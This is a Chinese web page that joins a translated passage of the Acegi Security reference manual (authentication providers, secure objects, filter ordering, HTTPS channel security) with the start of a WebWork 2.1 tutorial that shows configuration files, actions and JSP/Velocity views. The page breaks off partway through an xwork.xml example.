    Acegi Security中认证的最后一环是一个AuthenticationProvider。非常简单，它的职责是取用一个认证请求（Authentication request）对象，并且判断它是否有效。这个provider要么抛出一个异常，要么返回一个组装完毕的Authentication对象。还记得我们的好朋友UserDetails 和 UserDetailsService吧？如果没有，回到前一部分重新回忆一下。大部分的AuthenticationProviders都会要求UserDetailsService提供一个UserDetails对象。如前所述，大部分的应用程序会提供自己的UserDetailsService，尽管有些会使用Acegi Security提供的JDBC或者 in-memory实现。作为成品的UserDetails 对象，特别是其中的GrantedAuthority[]s，在构建完备的Authentication对象时会被使用。

    当认证机制（authentication mechanism）取回组装完全的Authentication对象后，它将会相信请求是有效的，将Authentication放到SecurityContextHolder中，并且将原始请求取回（上述第7步）。反之，AuthenticationProvider则拒绝请求，认证机制（authentication mechanism）会请求用户重试（上述第2步）。

    在讲述典型的认证流程的同时，有个好消息是Acegi Security不关心你是如何把Authentication放到SecurityContextHolder内的。唯一关键的是在AbstractSecurityInterceptor授权一个请求之前，在SecurityContextHolder中包含一个代表了principal的Authentication。

    你可以（很多用户确实）实现自己的过滤器（filter）或者MVC控制器（controller）来提供和不是基于Acegi Security的认证系统交互。例如，你可能使用使用容器管理认证（Container Managed Authentication），从ThreadLocal或者JNDI中获取当前用户信息，使得它有效。或者，你工作的公司有一个遗留的私有认证系统，而它是公司"标准"，你对它无能为力。在这种情况之下也是非常容易让Acegi Security运作起来，提供认证能力。你所需要做的是写一个过滤器（或等价物）从某处读取第三方用户信息，构建一个Acegi Security式的Authentication对象，把它放到SecurityContextHolder中。这非常容易做，也是一种广泛支持的集成方式。

2.4. 安全对象

    如果你熟悉AOP，你会知道有很多种advice可用：before, after, throws 和 around。around advice非常有用，因为它能够选择是否选择是否执行一个方法调用，是否修改返回值，以及是否抛出异常。Acegi Security对方法调用和web请求都提供around advice。我们使用AOP联盟实现对方法调用的around advice，对于web请求的around advice则是使用标准的过滤器（Filter）。

  对于那些不熟悉AOP的人来说，关键是要理解Acegi Security能够帮助你保护方法调用以及web请求。大多数人对保护他们服务层的方法调用感兴趣。这是因为在当前的J2EE应用中，服务层包含了大多数的业务逻辑（声明，作者不赞成这种设计，反而支持正确封装的领域模型以及DTO，assembly, facade 以及 transparent persistence patterns，而不是当前主流的贫血模型，我们将在这里讨论）。如果你需要保护service层的方法调用，使用标准的Spring AOP平台（或者被成为AOP 联盟（AOP Alliance））就足够了。如果你需要直接对领域模型进行保护，那么可以考虑使用AspectJ。

    你可以选择对使用AspectJ 或者AOP联盟（AOP Alliance）对方法进行授权，或者你可以选择使用过滤器（filter）来对web请求进行授权。你将0个，1个，2个或者3个这些方法一起使用。主流的用法是执行一些web请求授权，以及在服务层使用AOP联盟（AOP Alliance）对一些方法调用授权。

    Acegi Security使用"安全对象"（secure object）这个词来指任何能够将安全应用于其上的对象。每个Acegi Security支持的安全对象都有自己的类，它是AbstractSecurityInterceptor的子类。重要的一点是，如果一个principal通过认证，当AbstractSecurityInterceptor执行的时候，SecurityContextHolder中要包含一个有效的Authentication。

    AbstractSecurityInterceptor提供一个固定的工作流程来处理安全对象请求。这个工作流程包括查找和当前请求相关联的"配置属性（configuration attributes）"。配置属性（configuration attributes）可以被认为是对被AbstractSecurityInterceptor使用的类有特殊含义的字符串。他们通常针对AbstractSecurityInterceptor使用XML进行配置。反正，AbstractSecurityInterceptor会询问AccessDecisionManager "这是配置属性（configuration attributes），这是当前的认证对象（Authentication object），这是当前请求的详细信息－那么这个特定的principal可以执行这个特定的操作吗？"。

    假如AccessDecisionManager判定允许这个请求，那么AbstractSecurityInterceptor一般来说就继续执行请求。虽然这样，用户在少数情况之下可能需要替换SecurityContext中的Authentication，可以通过AccessDecisionManager调用一个RunAsManager来实现。在某些不常见的情形下这将非常有用，例如服务层的方法需要用另一种标识（身份）来调用远程系统。这可能有所帮助，因为Acegi Security自动在不同的服务器之间传播安全标识（假设你正确配置了RMI或者HttpInvoker remoting protocol client）。

    随着安全对象处理和返回－意味着方法调用完毕或者过滤器链（filter chain）处理完毕－AbstractSecurityInterceptor有最后的机会来处理调用。这时，AbstractSecurityInterceptor可能会修改返回的对象。我们可能要这样做，因为授权判断不能在安全对象调用途中执行。由于高度的可插拔性，如果需要AfterInvocationManager将控制权交给AfterInvocationManager来实际修改对象。这个类甚至可以彻底替换对象，或者抛出异常，或者根本不修改它。

    因为是AbstractSecurityInterceptor中心模版类，看起来第一副插图该献给它。（译注：原手册里的图画的太丑陋了，我用jude重新画了一遍）

图1 关键"安全对象"模型

    只有那些希望实现全新的对请求进行截取截取和授权方式的开发者才需要直接使用安全对象。例如，可能构建一个新的安全对象安全调用一个消息系统。任何需要安全并且能够提供一种截取调用的方式(例如AOP around advice semantics)的东西都可以成为安全对象。虽然如此，大部分的Spring应用都会只是透明应用当前支持的三种安全对象类型（AOP Alliance MethodInvocation, AspectJ JoinPoint 和 web request FilterInterceptor）。

2.5. 结论

    恭喜！你已经获取了Acegi Security足够的概括性的图景来开始着手你的项目。我们探究了共享组件，认证过程，以及对"安全对象"的通用授权概念。手册中的余下部分你可能用到也可能用不到，可以按照任意顺序阅读。

第三章. 协助系统

本章介绍一些Acegi Security使用的附加和协助系统。那些和安全无关，但是包含在Acegi Security项目中的部分，将会在本章中讨论

3.1. 本地化

Acegi Security支持对终端客户可能会看到的异常信息进行本地化。如果你的应用是为英文用户设计的，那么你什么都不用做，因为Acegi Security的所有消息默认都是英文的。如果你要支持其他区域用户，那么本节包含了你所需要了解的所有东西。

包括认证失败或者访问被拒绝（授权失败）的所有异常消息都可以被本地化。提供给开发者或者系统部署人员的异常或者日志信息(包括错误的属性、接口不符、构造器错误、debug级日志)没有被本地化，它们硬编码在Acegi Security的代码中。

在acegi-security-xx.jar（译注：xx代表版本号）的org.acegisecurity包中包含了一个messages.properties文件。这个文件会被你的application context引用，因为Acegi Security实现了Spring的MessageSourceAware接口，它期待在application context启动的时候注入一个message resolver。通常你所需要做的是在你的application context中注册一个引用这个消息的bean，如下所示：

<bean id="messageSource" class="org.springframework.context.support.ReloadableResourceBundleMessageSource"><property name="basename"><value>org/acegisecurity/messages</value></property></bean>

messages.properties是按照资源包标准命名的，它代表了Acegi Securtiy支持的默认语言。文件默认是英文的。如果你不注册一个消息源，Acegi Security仍然可以正常工作，它会用回硬编码的英文消息。

如果你想定制messages.properties文件，或者支持其他语言，那么你应该copy这个文件，然后重命名，并在上述的bean定义中注册。因为文件中的key并不多，因此本地化花不了多少工夫。如果你针对消息文件进行了本地化，那么请和社区分享，你可以添加一个JIRA任务，将你正确命名的messages.properties本地化文件作为附件添加。

为了完善关于本地化的讨论需要知道Spring的ThreadLocal org.springframework.context.i18n.LocaleContextHolder。你应该为每个用户设置代表他区域的LocaleContextHolder。Acegi Security会尝试从这个ThreadLocal中获取的Locale来从消息源中获取消息。请参考Spring的文档以获取更多使用LocaleContextHolder和能够帮你自动设置它的辅助类(例如

AcceptHeaderLocaleResolver, CookieLocaleResolver, FixedLocaleResolver, SessionLocaleResolver 等)的详细信息。

3.2. Filters

正如你在整个手册中看到的那样，Acegi Security使用很多filter。你可以使用FilterToBeanProxy或者FilterChainProxy来确定这些是怎样加入到你的web应用中的，下面我们来看看。

大部分filter使用FilterToBeanProxy来配置。例如下面web.xml中配置所示：

<filter>    <filter-name>Acegi HTTP Request Security Filter</filter-name>    <filter-class>org.acegisecurity.util.FilterToBeanProxy</filter-class>    <init-param>        <param-name>targetClass</param-name>        <param-value>org.acegisecurity.ClassThatImplementsFilter</param-value>    </init-param></filter>

注意在web.xml中的filter实际上是一个FilterToBeanProxy，而不是真正实现filter逻辑的filter。FilterToBeanProxy所作的是代理Filter的方法到一个从Spring的application context 获取的bean。这使得这个bean可以享受Spring application context的生命周期支持以及配置灵活性。这个bean必须实现javax.servlet.Filter。

FilterToBeanProxy只需要一个简单的初始化参数，targetClass或者targetBean。targetClass会定位application context中指定的类的第一个对象，而FilterToBeanProxy按照bean的名字定位对象。象标准的Spring web应用一样，FilterToBeanProxy使用WebApplicationContextUtils.getWebApplicationContext(ServletContext)来访问application context，所以你应该在web.xml中配置一个ContextLoaderListener。

在IoC容器而不是servlet容器中部署Filter会有一个生命周期的问题。特别是，哪个容器应该负责调用Filter的"startup" 和 "shutdown"方法？注意到Filter的初始化和析构顺序随servlet容器不同而不同，如果一个Filter依赖于由另一个更早初始化的Filter的配置，这样就会出现问题。另一方面，Spring IoC具备更加完善的生命周期/IoC接口（例如InitializingBean, DisposableBean, BeanNameAware, ApplicationContextAware以及其他许多）以及一个容易理解的接口契约（interface contract），可预见的方法调用顺序，自动装配支持，以及可以避免实现Spring接口的选项（例如Spring XML中的destroy-method 属性）。因此，我们推荐尽可能使用Spring生命周期服务而不是servlet容器生命周期服务。FilterToBeanProxy默认不会将init(FilterConfig) 和 destroy()方法委派到被代理的bean。如果你需要这些调用被委派，那么将lifecycle初始化参数设置为servlet-container-managed。

我们强烈推荐你使用FilterChainProxy而不是FilterToBeanProxy。虽然FilterToBeanProxy是一个非常有用的类FilterToBeanProxy，问题是当web.xml中filter变多时，<filter> 和 <filter-mapping>项就会太多而变得臃肿不堪。为了解决这个问题，Acegi Security提供一个FilterChainProxy类。它在FilterToBeanProxy中被装配（正如上面例子中所示），但目标类（target class）是org.acegisecurity.util.FilterChainProxy。这样过滤器链（filter chain）可以在application context中按照如下代码配置：

<bean id="filterChainProxy" class="org.acegisecurity.util.FilterChainProxy">    <property name="filterInvocationDefinitionSource">        <value>            CONVERT_URL_TO_LOWERCASE_BEFORE_COMPARISON            PATTERN_TYPE_APACHE_ANT            /webServices/*=httpSessionContextIntegrationFilterWithASCFalse,basicProcessingFilter,exceptionTranslationFilter,            /*=httpSessionContextIntegrationFilterWithASCTrue,authenticationProcessingFilter,exceptionTranslationFilter,filterSecurityInterceptor        </value>    </property></bean>

你可能注意到FilterSecurityInterceptor定义方式的相似之处。同时支持正则表达式和Ant Paths格式，越对应的URI越早出现。在运行时，FilterChainProxy会定位符合当前的web请求的第一个URI模式。每个对应的配置属性代表了在application context中定义的一个bean的名字。接着fiter会按照它们被指定的顺序，按照FilterChain的标准行为模式被调用(如果一个Filter决定停止处理，它可以不在chain中执行)。

如你所见，FilterChainProxy需要为不同的请求模式重复配置filter的名字（在上面的例子中，, exceptionTranslationFilter 和 filterSecurityInterceptor 是重复的）。这样的设计是为了让FilterChainProxy能够为不同的URI配置不同的filter调用顺序，同时也提高了表达力（针对正则表达式、Ant Paths、以及任何FilterInvocationDefinitionSource的特定实现）和清晰度，可以知道是哪个filter应该被调用。

你可能注意到了我们在filter chain定义了两个HttpSessionContextIntegrationFilter (ASC是allowSessionCreation的缩写,是HttpSessionContextIntegrationFilter的一个属性)。因为web服务不会为将来的请求提供一个jsessionid，为这样的用户创建HttpSessions是浪费的。如果你有一个需要最大限度的伸缩性的高容量的应用，我们建议你使用上述的方法。对于小的应用，使用单一的HttpSessionContextIntegrationFilter (默认的allowSessionCreation设为true)应该足够了。

说到生命周期问题，如果对FilterChainProxy自身调用init(FilterConfig) 和 destroy()方法，它会把它代理到底层的filter。这样FilterChainProxy保证只初始化和析构每个filter一次，不论它在FilterInvocationDefinitionSource中定义了多少次。你可以通过FilterToBeanProxy的lifecycle初始化参数来控制这些方法是否被调用。如上面所讨论的那样，默认所有servlet容器生命周期调用是不被代理到FilterChainProxy的。

在web.xml中定义的filter的顺序是非常重要的。不管你实际用到哪个filter，<filter-mapping>的顺序应该是如下所示的：

1．ChannelProcessingFilter，因为可能要重定向到另一种协议。

2．ConcurrentSessionFilter 因为不使用任何SecurityContextHolder的功能，但是需要更新SessionRegistry来表示当前的发送请求的principal。

3． HttpSessionContextIntegrationFilter, 这样当一个web请求开始的时候就可以在SecurityContextHolder中设置一个SecurityContext，当web请求结束的时候任何对SecurityContext的改动都会被copy到HttpSession（以备下一个web请求使用）。

4．Authentication processing mechanisms - AuthenticationProcessingFilter, CasProcessingFilter, BasicProcessingFilter, HttpRequestIntegrationFilter, JbossIntegrationFilter 等 - 修改SecurityContextHolder，使其中包含一个有效的认证请求令牌（token）。

5．SecurityContextHolderAwareRequestFilter, 如果你使用它来在你的servlet容器中安装一个Acegi Security aware HttpServletRequestWrapper。

6．RememberMeProcessingFilter, 如果早期的认证处理过程没有更新SecurityContextHolder，并且请求（request）提供了一个cookie启用remember-me服务，一个合适的被记住的Authentication对象会被放到SecurityContextHolder那里。

7．AnonymousProcessingFilter, 如果早期的认证处理过程没有更新SecurityContextHolder，, 一个匿名Authentication 对象会被放到SecurityContextHolder那里。

8．ExceptionTranslationFilter, 捕获所有的Acegi Security 异常，这样要么返回一个HTTP错误响应或者加载一个对应的AuthenticationEntryPoint。

9．FilterSecurityInterceptor, 保护 web URIs

所有上述的filter使用FilterToBeanProxy或FilterChainProxy。建议在一个应用中使用一个单个的FilterToBeanProxy代理到一个单个的FilterChainProxy。，在FilterChainProxy中定义所有的Acegi Security Filters。如果你使用SiteMesh，确保Acegi Security filters 在 SiteMesh filters调用前调用。这样使SecurityContextHolder在SiteMesh decorator使用前能够及时被装配。

第四章. 信道安全

4.1. 概述

Acegi Security不仅能满足你的认证和授权的请求，而且能够保证你的未认证的web请求也能拥有某些属性。这些属性可能包括使用特定的传输类型，在HttpSession设置特定的属性等等。Web请求的最普遍的需求是使用特定的传输协议，例如HTTPS。

在传输安全中的一个重要议题就是会话劫持（session hijacking）。Web容器通过一个jsessionid来引用一个HttpSession，这个jsessionid通过cookie 或者URL重写转向（URL rewriting）发送到到客户端。如果jsessionid是通过HTTP发送的，那么就存在被劫持以及在认证过程之后冒充被认证用户的可能。这是因为大部分的web容器为特定的用户维护同一个会话标识符，即便是用户从HTTP 切换到 HTTPS页面。

如果对于你的特定应用来说，会话劫持（session hijacking）是一个很严重的风险，那么唯一的解决方法就是对每一个请求都使用HTTPS。这意味着jsessionid不会使用非安全信道传输。你要保证你的web.xml中定义<welcome-file>，把它指向一个HTTPS位置，同时应用程序不把用户指向一个HTTP位置。Acegi Security提供一个解决方案帮助你实现后者。

4.2. 配置

启用Acegi Security的信道安全服务，需要在web.xml中增加如下行：

<filter><filter-name>Acegi Channel Processing Filter</filter-name><filter-class>org.acegisecurity.util.FilterToBeanProxy</filter-class><init-param><param-name>targetClass</param-name><param-value>org.acegisecurity.securechannel.ChannelProcessingFilter</param-value></init-param></filter><filter-mapping><filter-name>Acegi Channel Processing Filter</filter-name><url-pattern>/*</url-pattern></filter-mapping>

和平时一样，你同样需要在application context中配置filter

<bean id="channelProcessingFilter" class="org.acegisecurity.securechannel.ChannelProcessingFilter"><property name="channelDecisionManager"><ref bean="channelDecisionManager"/></property><property name="filterInvocationDefinitionSource"><value>CONVERT_URL_TO_LOWERCASE_BEFORE_COMPARISON\A/secure/.*\Z=REQUIRES_SECURE_CHANNEL\A/acegilogin.jsp.*\Z=REQUIRES_SECURE_CHANNEL\A/j_acegi_security_check.*\Z=REQUIRES_SECURE_CHANNEL\A.*\Z=REQUIRES_INSECURE_CHANNEL</value></property></bean><bean id="channelDecisionManager" class="org.acegisecurity.securechannel.ChannelDecisionManagerImpl"><property name="channelProcessors"><list><ref bean="secureChannelProcessor"/><ref bean="insecureChannelProcessor"/></list></property></bean><bean id="secureChannelProcessor" class="org.acegisecurity.securechannel.SecureChannelProcessor"/><bean id="insecureChannelProcessor" class="org.acegisecurity.securechannel.InsecureChannelProcessor"/>

ChannelProcessingFilter和FilterSecurityInterceptor一样支持Apache Ant style paths。

ChannelProcessingFilter的工作方式是过滤所有的web请求，并将判断将适合的配置属性应用于其上。然后它代理到ChannelDecisionManager。默认的实现类ChannelDecisionManagerImpl应该能够满足大多数需求。它就代理到配置好的ChannelProcessor实例列表。ChannelProcessor会检视请求，如果它不满意请求（例如请求是发送自不正确的传输协议）它将会重定向，抛出异常或者采取其他任何恰当的措施。

Acegi Security 包括ChannelProcessor两个实体类实现：SecureChannelProcessor 保证配置了REQUIRES_SECURE_CHANNEL 属性的请求都是从HTTPS发送过来的。而InsecureChannelProcessor 保证配置了REQUIRES_INSECURE_CHANNEL 属性的请求都是从HTTP发送过来的。如果没有使用请求的协议，这两个实现都会转到ChannelEntryPoint，而两个ChannelEntryPoint 实现所作的就是简单的把请求相应按照HTTP 和 HTTPS重定向。

要注意重定向是绝对（例如http://www.company.com:8080/app/page）而不是相对的(例如 /app/page)。在测试中发现Internet Explorer 6 Service Pack 1 有一个bug，因此如果在重定向的时候也改变使用的端口，它就不能正确响应。对应这个bug，在很多Acegi Security bean中都会使用的PortResolverImpl也使用绝对URL。请参阅PortResolverImpl的JavaDoc以获取更多信息。

你要注意使用为了在登录过程中保证用户名和密码的安全，要使用安全信道。如果你配合基于表单的登录使用ChannelProcessingFilter，请记得一定要把你的登录页面设置为REQUIRES_SECURE_CHANNEL，并且AuthenticationProcessingFilterEntryPoint.forceHttps属性设置为true。

4.3. 结论

一旦配置好了，使用安全信道是非常简单的。只要请求页面，不用管使用什么协议（HTTP 或 HTTPS）或什么端口（80, 8080, 443, 8443等）。显然你只要确定初始请求(获取通过在web.xml 中的<welcome-file> 或一个众所周知的主页URL)，完成以后filter会执行你application context定义的重定向。

你也可以在ChannelDecisionManagerImpl中增加自己的ChannelProcessor实现。例如，你可能通过"输入图片中的内容"检测到一个个人类用户，然后在HttpSession中设置一个属性。

要判断一个安全检查应该是或者ChannelProcessor或是 AccessDecisionVoter 记得前者是设计用来处理认证或者未认证的请求，而后者是设计用来处理已认证的请求。因此后者可以访问已认证的principal被授予的权限。

另外，ChannelProcessor检测到问题后一般是引发一个HTTP/HTTPS重定向这样他的请求可以被满足，而AccessDecisionVoter将则会跑出一个AccessDeniedException异常(取决于支配的 AccessDecisionManager)。

文章来源:http://wiki.springside.org.cn/display/springside/Acegi+Reference+Preface 

（1）本教程基于WebWork 2.1版本，在webwork.dev.java.net网站上下载webwork-2.1.zip；

（2）将压缩包解压，使用WebWork所需要的lib包括webwork-2.1.jar和lib/core文件夹中的jar文件

（1）这里假设你安装了Servlet容器，并知道如何创建一个Web应用程序；如果你不知道，建议学习Apache Tomcat（Apache Jakarta项目中的一个免费Servlet容器）；

（2）复制需要的运行库（webwork-2.1.jar和lib/core/*.jar）到Web应用程序的WEB-INF/lib文件夹中；

（3）如下配置web.xml、xwork.xml和validators.xml文件；

（4）web.xml看起来象下面的样子：

<?xml version="1.0"?>

<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"

"http://java.sun.com/dtd/web-app_2_3.dtd">

<web-app>

       <display-name>My WebWork Application</display-name>

       <servlet>

              <servlet-name>webwork</servlet-name>

              <servlet-class>com.opensymphony.webwork.dispatcher.ServletDispatcher</servlet-class>

              <load-on-startup>1</load-on-startup>

       </servlet>

       <servlet-mapping>

              <servlet-name>webwork</servlet-name>

              <url-pattern>*.action</url-pattern>

       </servlet-mapping>

       <taglib>

              <taglib-uri>webwork</taglib-uri>

              <taglib-location>/WEB-INF/lib/webwork-2.1.jar</taglib-location>

       </taglib>

</web-app>

为了使用WebWork，必须注册ServletDispatcher，并映射到*.action；作为可选，如果要使用WebWork的tags，要声明WebWork的taglib描述；

（5）在WEB-INF/classes目录下创建WebWork的配置文件xwork.xml，下面是一个配置框架（会在教程的后面增加内容）：

<!DOCTYPE xwork PUBLIC "-//OpenSymphony Group//XWork 1.0//EN" 

"http://www.opensymphony.com/xwork/xwork-1.0.dtd">

<xwork>

       <!-- Include webwork defaults (from WebWork-2.1 JAR). -->

       <include file="webwork-default.xml" />

       <!-- Configuration for the default package. -->

       <package name="default" extends="webwork-default">

       </package>

</xwork>

这做两件事：

l         导入webwork-default.xml（位于webwork-2.1.jar中）的配置信息，包含WebWork应用程序的缺省配置；

l         定义名为default的package，用于actions、 results和interceptors的注册；这个package继承webwork-default，以继承其中定义的配置；

（6）在WEB-INF/classes目录下创建validators.xml。包括以下内容：

<!DOCTYPE validators PUBLIC "-//OpenSymphony Group//XWork Validator

1.0//EN" "http://www.opensymphony.com/xwork/xwork-validator-1.0.dtd"> 

<validators> 

       <validator name="required"

              class="com.opensymphony.xwork.validator.validators.RequiredFieldValidator"/> 

       <validator name="requiredstring"

              class="com.opensymphony.xwork.validator.validators.RequiredStringValidator"/> 

       <validator name="int"

              class="com.opensymphony.xwork.validator.validators.IntRangeFieldValidator"/> 

       <validator name="date"

              class="com.opensymphony.xwork.validator.validators.DateRangeFieldValidator"/> 

       <validator name="expression"

              class="com.opensymphony.xwork.validator.validators.ExpressionValidator"/> 

       <validator name="fieldexpression"

              class="com.opensymphony.xwork.validator.validators.FieldExpressionValidator"/> 

       <validator name="email"

              class="com.opensymphony.xwork.validator.validators.EmailValidator"/> 

       <validator name="url"

              class="com.opensymphony.xwork.validator.validators.URLValidator"/> 

       <validator name="visitor"

              class="com.opensymphony.xwork.validator.validators.VisitorFieldValidator"/> 

       <validator name="conversion"

              class="com.opensymphony.xwork.validator.validators.ConversionErrorFieldValidator"/> 

</validators>

这个文件定义可以使用的有效Validators。

Actions是基本执行单元，在WebWork配置中注册，用来响应特定的请求。在MVC中，Actions是控制部分。下面是在WebWork中创建Action的基本步骤：

l         创建调用Action的JSP页；

l         创建Action类；

l         创建处理Action返回结果的JSP页；

l         在xwork.xml中注册Action；

（1）Hello WebWorld的例子

l         xwork.xml文件内容如下：

<!DOCTYPE xwork PUBLIC "-//OpenSymphony Group//XWork 1.0//EN"

"http://www.opensymphony.com/xwork/xwork-1.0.dtd">

<xwork>

       <!-- Include webwork defaults (from WebWork-2.1 JAR). -->

       <include file="webwork-default.xml" />

       <!-- Configuration for the default package. -->

       <package name="default" extends="webwork-default">

              <!-- Default interceptor stack. --> 

              <default-interceptor-ref name="defaultStack" /> 

              <!-- Action: Lesson 03: HelloWebWorldAction. --> 

              <action name="helloWebWorld" class="lesson03.HelloWebWorldAction"> 

                <result name="success" type="dispatcher">ex01-success.jsp</result> 

              </action> 

       </package>

</xwork>

配置文件告诉WebWork，有一个叫helloWebWorld的Action，由lesson03.HelloWebWorldAction实现；同时定义了一个叫success的结果，指向ex01-success.jsp页面；

l         调用Action的页面ex01-index.jsp：

<html>

<head>

<title>WebWork Tutorial - Lesson 3 - Example 1</title>

</head>

<body>

<p>Click the button below to activate HelloWebWorldAction.</p>

<form action="helloWebWorld.action" method="post">

<p><input type="submit" value="Hello!" /></p>

</form>

</body>

</html>

当点击页面的按钮时，浏览器提交表单数据给helloWebWorld.action；既然URL匹配映射*.action，Servlet容器激活WebWork的ServletDispatcher；ServletDispatcher读取xwork.xml，查找名为helloWebWorld的Action，如果找到就创建Action类的一个新实例，调用execute()方法

l         Action类：HelloWebWorldAction.java

package lesson03; 

import com.opensymphony.xwork.ActionSupport; 

public class HelloWebWorldAction extends ActionSupport { 

       String hello; 

       public String getHello() { 

              return hello; 

       }

       public String execute() throws Exception { 

              hello = "Hello, WebWorld!"; 

              return SUCCESS; 

       } 

}

Action类继承com.opensymphony.xwork.ActionSupport，并实现execute()方法；execute()方法的返回值SUCCESS和success（<result>的name属性值）对应；ServletDispatcher查找名字相匹配的result，转移到指定的JSP页ex01-success.jsp

l         结果显示JSP页ex01-success.jsp：

<%@ taglib uri="webwork" prefix="ww" %> 

<html> 

<head> 

<title>WebWork Tutorial - Lesson 3 - Example 1</title> 

</head> 

<body> 

<ww:property value="hello" /> 

</body> 

</html>

<ww:property value="hello" />在Action类中查找hello属性，调用hello属性的setter方法获得属性值（在execute()中已经设置），显示Hello, WebWorld!

（2）向Action提供数据的例子

xwork.xml：

<!DOCTYPE xwork PUBLIC "-//OpenSymphony Group//XWork 1.0//EN"

"http://www.opensymphony.com/xwork/xwork-1.0.dtd">

<xwork>

       <!-- Include webwork defaults (from WebWork-2.1 JAR). -->

       <include file="webwork-default.xml" />

       <!-- Configuration for the default package. -->

       <package name="default" extends="webwork-default">

              <!-- Default interceptor stack. --> 

              <default-interceptor-ref name="defaultStack" /> 

              <!-- Action: Lesson 03: HelloAction. -->

              <action name="hello" class="lesson03.HelloAction">

                <result name="error" type="dispatcher">ex02-index.jsp</result>

                <result name="success" type="dispatcher">ex02-success.jsp</result>

              </action>

       </package>

</xwork>

HelloAction.java：

package lesson03;

import com.opensymphony.xwork.ActionSupport;

public class HelloAction extends ActionSupport {

       String person;

       public String getPerson() {

              return person;

       }

       public void setPerson(String person) {

              this.person = person;

       }

       public String execute() throws Exception {

              if ((person == null) || (person.length() == 0)) return ERROR;

              else return SUCCESS;

       }

}

ex02-index.jsp：

<html>

<head>

<title>WebWork Tutorial - Lesson 3 - Example 2</title>

</head>

<body>

<p>What's your name?</p>

<form action="hello.action" method="post">

<p><input type="text" name="person" /><input type="submit" /></p>

</form>

</body>

</html>

ex02-success.jsp：

<%@ taglib uri="webwork" prefix="ww" %>

<html>

<head>

<title>WebWork Tutorial - Lesson 3 - Example 2</title>

</head>

<body>

Hello, <ww:property value="person" />

</body>

</html>

这个例子使用POST方法向Action发送表单数据（使用person名），在HelloAction的实例创建以后，ServletDispatcher调用setter方法用数据设置Action的对应属性（person）；因此，在执行execute()之前，person属性已经设置了

（3）result的类型

上面的例子中使用的result类型是dispatcher，而WebWork的result类型已经在webwork-default.xml中配置：

l         dispatcher (com.opensymphony.webwork.dispatcher.ServletDispatcherResult)： forwards 结果到指定位置URL

l         redirect (com.opensymphony.webwork.dispatcher.ServletRedirectResult)： redirects结果到指定位置URL ；与dispatcher不同的是不会发送表单数据

l         velocity (com.opensymphony.webwork.dispatcher.VelocityResult：使用 Velocity 模版作为结果，需要在web.xml中配置 VelocityServlet，这是一种很好的方法

l         chain (com.opensymphony.xwork.ActionChainResult): Action链，将结果传送给另外一个Action

l         xslt (com.opensymphony.webwork.views.xslt.XSLTResult): 使用XSLT式样格式化结果

有几种作为视图的技术可以使用：

l         JSP：这是Java Web开发者熟悉的技术，可以作为通用选择；本教程介绍在JSP中使用WebWork的标记库

l         Velocity：一种基于Java的模板引擎，提供简单而强大的模板语言VTL来替代JSP，将Java代码从Web页面中分离

l         Freemaker：对于MVC模式设计，另外一种可以替代JSP的基于Java的模板引擎，但兼容JSP标记

4.1、使用JSP作为视图

使用JSP呈现视图，可以使用Scriptlets或WebWork标记来访问Action的数据。推荐使用WebWork标记库。

（1）使用Scriptlets访问Acition的数据

在Scriptlets中是使用Value Stack对象访问Action的数据的，下面是使用Scriptlets实现上节中第二个例子的结果输出页面：

<%@ page import="com.opensymphony.xwork.util.OgnlValueStack" %>

<html>

<head>

<title>WebWork Tutorial - Lesson 4.1 - Lesson 3's example modified</title>

</head>

<body>

<%

OgnlValueStack stack = (OgnlValueStack)request.getAttribute("webwork.valueStack");

out.write("Hello, " + stack.findValue("person"));

%>

</body>

</html>

然而，推荐使用WebWork标记，就象上节中第二个例子使用<ww:property />做的那样，具有清晰的语法，并能在Value Stack对象不存在时处理。

（2）使用WebWork标记库

WebWork标记库可以分为7类：

l         通用标记：最常用的基本标记；

l         组件标记：在视图中生成组件；

l         流程控制标记：控制JSP中的流程；

l         Iteration标记：遍历访问元素或操作可遍历对象；

l         UI标记：生成HTML表单域和控制；

l         VUI标记：（需要志愿者来编写）；

l         国际化标记：使视图具有国际化；

（1）通用标记

（2）组件标记

（3）流程控制标记

（4）Iteration标记

（5）UI标记

生成HTML表单控件的UI标记和WebWork核心紧密集成，标记被设计为最小化编译代码逻辑的数量和使用模板系统呈现HTML的代表。UI标记覆盖了大部分常用标记，而且提供了一个组件标记，用来创建定制组件。UI标记还提供了显示内联错误信息的内建支持。有关UI标记的详细介绍，在下一节中讲述。

（6）VUI标记

需要志愿者来编写。

（7）国际化标记

使用Velocity作为视图，有两种方法：

l         使用velocity结果类型来呈现Velocity模板

l         在web.xml中注册WebWorkVelocityServlet，直接请求Velocity模板文件来呈现；这种方法要在web.xml中为WebWorkVelocityServlet添加一个Servlet映射，如下：

<servlet> 

       <servlet-name>velocity</servlet-name> 

       <servlet-class>com.opensymphony.webwork.views.velocity.WebWorkVelocityServlet</servlet-class> 

       <load-on-startup>1</load-on-startup> 

</servlet> 

<servlet-mapping> 

       <servlet-name>velocity</servlet-name> 

       <url-pattern>*.vm</url-pattern> 

</servlet-mapping>

使用velocity结果类型意味着Velocity模板是通过Action来呈现。如果访问.vm文件，不会呈现该文件，而是返回文本文件。因此，Velocity模板文件应该放在WEB-INF目录下，使其无法直接访问。

使用WebWorkVelocityServlet意味着可以通过请求.vm文件来呈现Velocity模板，这可能需要在模板中实现安全检查。

无论使用哪种方法，在写模板时，Velocity的所有特性都是有效的，并且有一些WebWork的特定功能可以使用。这里假设你对Velocity很熟悉，重点放在WebWork的特定功能上。

（1）WebWork的特定功能

WebWork在Value Stack中提供了一些可以访问的对象，包括：

l         当前的HttpServletRequest

l         当前的HttpServletResponse

l         当前的OgnlValueStack

l         OgnlTool实例

l         当前Action类的所有属性

要访问Value Stack中的对象，需要在模板中正确使用Velocity引用：

l         $req=HttpServletRequest

l         $res=HttpServletResponse

l         $stack=OgnlValueStack

l         $ognl=OgnlTool

l         $name-of-property=当前Action类的属性

（2）使用velocity结果类型

下面的例子是使用Velocity模板作为结果，来实现前面的Hello例子，注意<property value="person" />标记被$person引用所替代：

xwork.xml：

<!DOCTYPE xwork PUBLIC "-//OpenSymphony Group//XWork 1.0//EN" 

"http://www.opensymphony.com/xwork/xwork-1.0.dtd">

<xwork>

       <!-- Include webwork defaults (from WebWork-2.1 JAR). -->

       <include file="webwork-default.xml" />

       <!-- Configuration for the default package. -->

       <package name="default" extends="webwork-default">

              <!-- Default interceptor stack. --> 

              <default-interceptor-ref name="defaultStack" /> 

              <!-- Action: Lesson 4.2: HelloAction using Velocity as result. -->